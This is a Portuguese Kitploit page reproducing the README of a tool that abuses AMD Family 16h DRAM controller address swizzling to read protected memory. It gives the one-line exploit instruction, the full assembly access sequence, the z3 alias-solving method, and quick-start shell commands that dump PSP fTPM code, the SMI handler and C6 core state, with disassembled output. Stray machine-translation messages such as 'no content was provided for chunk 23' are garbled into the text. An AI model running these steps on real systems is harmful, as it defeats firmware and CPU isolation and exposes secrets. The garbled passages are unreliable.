Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
skitter-creek-bath-salts — Explora o embaralhamento de endereços do controlador DRAM para remapear memória física e acessar regiões protegidas pela CPU, incluindo PSP, SMM e microcódigo, em sistemas AMD Family 16h. | Kitploit
Ferramentas/GitHubGitHub/xoreaxeaxeax/skitter-creek-bath-salts
Análise de VulnerabilidadesExploraçãoEngenharia ReversaHacking de HardwareSegurança de HardwareAnálise de Firmware
GitHubxoreaxeaxeax/skitter-creek-bath-salts

skitter-creek-bath-salts

Explora o embaralhamento de endereços do controlador DRAM para remapear memória física e acessar regiões protegidas pela CPU, incluindo PSP, SMM e microcódigo, em sistemas AMD Family 16h.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
435há 7 diasAinda não revisado

skitter-creek-bath-salts

Desbloqueando tudo na CPU com embaralhamento de DRAM — PSP, C6, microcódigo, SMM e qualquer outra coisa que as especificações omitiram.

&x == &x.

Normalmente.

Desembaraçando a DRAM

Cutuque o controlador de DRAM e é possível fazer um endereço aterrissar onde você quiser na memória. skitter-creek-bath-salts alcança o nível mais profundo da hierarquia de memória e reconecta as traduções físicas de endereços de DRAM, para embaralhar a memória da plataforma e liberar seus segredos mais bem guardados — as reservas especializadas invisíveis até mesmo para o kernel. Quando as traduções quebram, as paredes construídas sobre elas desmoronam, e desbloqueamos tudo.


TL;DR

  • Desbloqueie o seu Platform Security Processor
  • Desbloqueie o System Management Mode
  • Desbloqueie a DRAM C6
  • Desbloqueie o microcódigo da sua CPU

Alvo

Desenvolvido e testado em CPUs AMD Family 16h, a última geração cujas folhas de dados documentam os registradores de tradução do controlador de DRAM — e mostram que eles não podem ser bloqueados. A 17h e posteriores simplesmente omitem essa informação. A odisseia de *p é semelhante entre gerações e arquiteturas, e as transformações subjacentes se estendem até mesmo a ARM, RISC-V e além; skitter-creek-bath-salts nos mostra apenas como começar.


A odisseia de *p

É uma longa descida.

A memória é construída sobre camadas de abstração tão profundas que se tornam quase absurdas. Quando o seu código desreferencia *p, parece acessar a DRAM em p. Não é bem assim — p é um endereço virtual e, antes que um único bit de DRAM seja tocado, ele precisa sobreviver à provação abaixo:``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

root@kitploit:~
Este projeto opera nos níveis mais profundos do pipeline `*p`, na camada MCT/DCT
— onde um endereço físico vindo do data fabric/interconnect entra no controlador
de memória e é reescrito uma última vez nas coordenadas brutas de DRAM que são
emitidas para o DIMM.

---

## Espaguetificando DRAM

> Endereços físicos são realmente mais uma sugestão.```nasm
xor dword [0xf80c2094], 0x00400000

Esse é o exploit. Tudo isso.

Uma inversão de bit no controlador de DRAM reconfigura toda a base do *p pipeline, e os dados que estavam em &x agora estão em outro lugar em pleno voo. De repente &x != &x. Cada mecanismo elaborado que a CPU, o firmware e o uncore e o chipset usaram meticulosamente para isolar todas as regiões mais protegidas da memória fica acima do controlador de memória, e é totalmente alheio a qualquer coisa que aconteça abaixo dele. Todas as barreiras de memória existentes guardam endereços físicos, não coordenadas de DRAM, e se você reorganizar as coordenadas de DRAM, todas as barreiras da CPU e do data fabric acima delas são totalmente alheias.

Mas reconfigurar a DRAM é fácil. O bit acima é o bank-swizzle-mode no DCT, e é apenas um entre dezenas que controlam os remapeamentos de endereço na camada final — tudo o que você precisa fazer é cutucá-los para fazer tudo o que foi construído por cima cair. A parte mais difícil então é manter a plataforma de pé enquanto a totalidade da memória do sistema é embaralhada sob ela.

O truque: seja rápido e não toque na DRAM. Desative as APs, prepare as TLBs, aqueça o cache, desative as interrupções, invalide o alvo, serialize os acessos à memória e espere que a CPU tenha pré-buscado as instruções seguintes. Então reconfigure o MCT/DCT para embaralhar a DRAM, pegue alguns dados da região protegida, reverta os mapeamentos, serialize novamente, habilite as interrupções, retome as APs e tudo volta ao normal, com o resto da plataforma totalmente ilesa.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

root@kitploit:~
Com alguma configuração cuidadosa de paginação, estados de cache, threads e as TLBs, o embaralhamento de endereços pode ser feito funcionar a partir de C, para ilustrar o colapso do pipeline `*p`, e a visão corrompida da plataforma quando de repente `&x != &x`:

![manipulação de &x](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

Então podemos religar o mapa e restaurá-lo sem deixar rastros. Tudo o que resta é saber no que o religamos.

---

## Desbloqueando *tudo*

> Toda região de memória protegida na plataforma, acessível com uma calculadora.

Com a abordagem acima, podemos reprogramar a transformação MCT/DCT em um sistema em execução — reorganizando o estágio mais baixo do pipeline `*p` para embaralhar a memória por baixo de toda proteção construída acima dele.

Mas há um desafio: embora possamos reprogramar a tradução com um simples `xor dword [0xf80c2094], 0x00400000`, não temos ideia de quais novas transformações o MCT/DCT usará (as folhas de dados são subespecificadas aqui — os mapas xor estão errados, o estágio subtrativo MMIO é desordenado, e os detalhes variam entre modelos). Sem isso, a memória é embaralhada, mas não temos como reconstruí-la.

Felizmente, a transformação de endereços do controlador DRAM é um mapa linear GF(2), o que significa que podemos reconstruir a memória embaralhada com álgebra linear básica.

Primeiro, considere o caso normal: a transformação direta da configuração MCT/DCT padrão é aplicada a algum endereço físico, que cai em um segredo na DRAM:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret

Esta é a visão coerente da memória: o estágio mais baixo do pipeline *p opera exatamente como deveria.

Agora reconecte o estágio MCT/DCT de *p com xor dword [0xf80c2094], 0x00400000, e a plataforma entra em uma visão embaralhada/espaguetificada da memória, onde uma transformação diferente permite que um alias alcance o mesmo segredo da DRAM:``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

root@kitploit:~
Este alias permite-nos alcançar o mesmo segredo sem passar pelos bloqueios
e defesas existentes na plataforma, construídos para a visão coerente. Para
encontrar o alias, componha o inverso do hash atacante/espaguetificado com o
forward do hash firmware/coerente, para obter a tradução que alcançará qualquer
segredo a partir da configuração maliciosa MCT/DCT:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias

O único desafio é que as matrizes são desconhecidas, o que significa que não temos nenhuma ideia de como a memória é realmente embaralhada, e nenhuma transformação para usar a fim de alcançar o segredo em primeiro lugar:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

root@kitploit:~
Felizmente, neste ponto é apenas álgebra linear, e você poderia resolver as transformações manualmente, se quisesse. Ou: uma calculadora.

Usamos [z3](https://github.com/z3prover/z3). Primeiro, o solver SMT precisa de restrições para trabalhar.

Comece na visão coerente, modifique o MCT/DCT para alternar para a visão espaguetificada, coloque algum valor sentinela como `0xdeadc0de` em um endereço aleatório na memória, volte para a visão coerente e varra a memória procurando onde a sentinela reaparece. Isso fornece um par (alvo, alias) — um ponto de dados concreto mostrando dois endereços físicos que mapeiam para a mesma célula na DRAM. Repita o processo, reúna alguns dados, passe-os para o z3, e ele resolve a matriz de tradução necessária para converter entre as duas visões — qualquer endereço físico da visão coerente de um lado, seu alias na visão espaguetificada do outro:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias

Alimentar pares de aliases ao z3 um a um nos permite observar o solucionador SMT decifrar o embaralhamento de memória em tempo real, como mostrado na imagem de abertura.

A transformação resolvida é uma pedra de roseta, a chave para pegar qualquer endereço de destino na visão coerente normal da memória e alcançar os mesmos dados na visão embaralhada e espaguetizada. Para desbloquear a DRAM protegida, escolha um endereço que não podemos alcançar — memória privada do PSP, SMRAM, o estado ocioso C6 — passe-o pela transformação resolvida pelo z3 e obtenha um alias que alcançará o alvo na visão espaguetizada, sem esbarrar nas barreiras, travas e verificações de segurança elaboradas que a plataforma construiu para a visão coerente da memória. Reconfigure o DCT com xor dword [0xf80c2094], 0x00400000, leia ou escreva o alias, sua jornada pelo pipeline *p contorna todas as barreiras pelo caminho, volte à visão coerente com um segundo xor dword [0xf80c2094], 0x00400000, e pronto — acesso irrestrito, a absolutamente qualquer coisa que a plataforma tenha escondido na DRAM.

desbloqueando a DRAM

No final, tudo o que normalmente é tão cuidadosamente isolado — memória privada do PSP, SMRAM, o estado ocioso C6 — trancado e inacessível pelo SO e pelo ring-0 e às vezes até pela própria CPU, ainda está nos mesmos capacitores físicos na DRAM. Mas as travas, as barreiras e os muros foram construídos em torno da visão coerente da memória e não fazem nada contra os aliases espaguetizados que alcançam esses mesmos dados.


Início rápido: desbloqueie seu Platform Security Processor

Mexa com o seu PSP, veja o que acontece.

O fTPM roda no próprio núcleo ARM do PSP, em uma região reservada de DRAM logo após o topo visível da memória. Alcance-o criando um alias de um endereço físico visível ao SO que aponte para ele, extraia os bytes e desmonte.```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

root@kitploit:~
(no input provided)```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4:  b5f0       push  {r4, r5, r6, r7, lr}
7f8019d6:  b0e5       sub   sp, #404
7f8019de:  2280       movs  r2, #128                  ; 1024-bit operand
7f8019e4:  f7fe ffef  bl    0x7f8009c6                ; import base (aA)
7f8019ee:  a0eb       adr   r0, 0x7f801d9c            ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8:  f7fe ffe5  bl    0x7f8009c6                ; import exponent (aB)
7f801a02:  a0f0       adr   r0, 0x7f801dc4            ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18:  f000 fdd4  bl    0x7f8025c4                ; the modexp itself
7f801a20:  a0f2       adr   r0, 0x7f801dec            ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22:  f000 fef5  bl    0x7f802810                ; log error
7f801a2e:  f001 e92a  blx   0x7f802c84                ; export result
7f801a36:  bdf0       pop   {r4, r5, r6, r7, pc}

Esse é o mecanismo RSA da PSP — o modexp por trás de cada assinatura fTPM e dos testes de Miller-Rabin que cunham suas chaves — extraído da memória que a PSP deveria possuir sozinha, isolado no controlador de memória, opaco até para o ring-0. Modifique como achar melhor.


Início rápido: desbloquear o System Management Mode

Leia o que o SMM esconde.

O vetor de entrada do handler de SMI fica em SMBASE + 0x8000. SMBASE está no MSR 0xc0010111. Leia-o, puxe os bytes pelo mapa de aliases e canalize-os diretamente para um desmontador:```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

sudo modprobe msr

SMBASE is per-core; core 0's lives in MSR 0xc0010111.

SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

Dump the entry vector through the alias map and disassemble on the fly.

SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;

printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.

sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

root@kitploit:~
The input is empty — no content was provided for chunk 23. Please supply the chunk text so it can be translated.```nasm
; SMI entry stub — the first thing a core executes when entering the
; ultra-privileged System Management Mode.
mov si,0x8148           ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub
o32 lgdt [cs:si]        ; load it (o32 -> full 32-bit base, not real mode's 24-bit form)
mov eax,0x3             ; CR0.PE | CR0.MP
mov cr0,eax             ; flip the core into protected mode
jmp short 0x14          ; near jump to serialize and flush the prefetch queue post-switch
mov ax,0x18             ; GDT selector 0x18 -> flat data segment
mov ss,ax               ; reload SS for protected mode
mov eax,0x6efe2ff8      ; SMM stack top
mov esp,eax             ; install the SMM stack
o32 push byte +0x10     ; far-return frame: CS = code selector 0x10
mov ecx,0xc0010111      ; MSR SMM_BASE
rdmsr                   ; EAX = this core's SMBASE
mov ebx,eax             ; stash SMBASE
add eax,0x803a          ; EAX = SMBASE+0x803a, the 32-bit handler entry
push eax                ; far-return frame: EIP = SMBASE+0x803a
retfd                   ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper

Essas instruções rodam no anel -2, o contexto mais privilegiado da CPU, fora da memória que o chipset supostamente deveria tornar ilegível. O SMRAM "bloqueado" acaba sendo uma sugestão educada quando podemos falar diretamente com o controlador de DRAM.

Troque 2x4gb pelo prefixo em data/maps/ que corresponda aos seus DIMMs instalados (sudo dmidecode -t memory). Se a sua topologia não estiver lá, execute analysis/gather_aliases.py e depois analysis/unspaghettify.py para gerar a sua própria.


Início rápido: desbloquear DRAM C6

Não tenho ideia do que há aqui e nunca vi isso ser discutido, provavelmente registradores internos da CPU. Divirta-se.

Quando os núcleos desligam por power-gating no estado C6, todo o contexto arquitetural x86 de cada um é guardado aqui para restauração.```sh ./userspace/platform_check || exit 1

Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the

test box). Each idle core's state lives in a 16 KiB save area; four cores

here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.

eval "$(sudo ./userspace/dram_carveouts --region cc6)" sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.

Read it from all four cores straight out of the stash:

for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1 done

root@kitploit:~
[No content provided in the INPUT section. Please paste the Markdown chunk you wish to have translated.]```text
core 0  000009b8  00 09 e0 fe 00 00 00 00  |........|   <- 0xfee00900  enabled, BSP bit set
core 1  000049b8  00 08 e0 fe 00 00 00 00  |........|   <- 0xfee00800  application processor
core 2  000089b8  00 08 e0 fe 00 00 00 00  |........|   <- 0xfee00800  application processor
core 3  0000c9b8  00 08 e0 fe 00 00 00 00  |........|   <- 0xfee00800  application processor

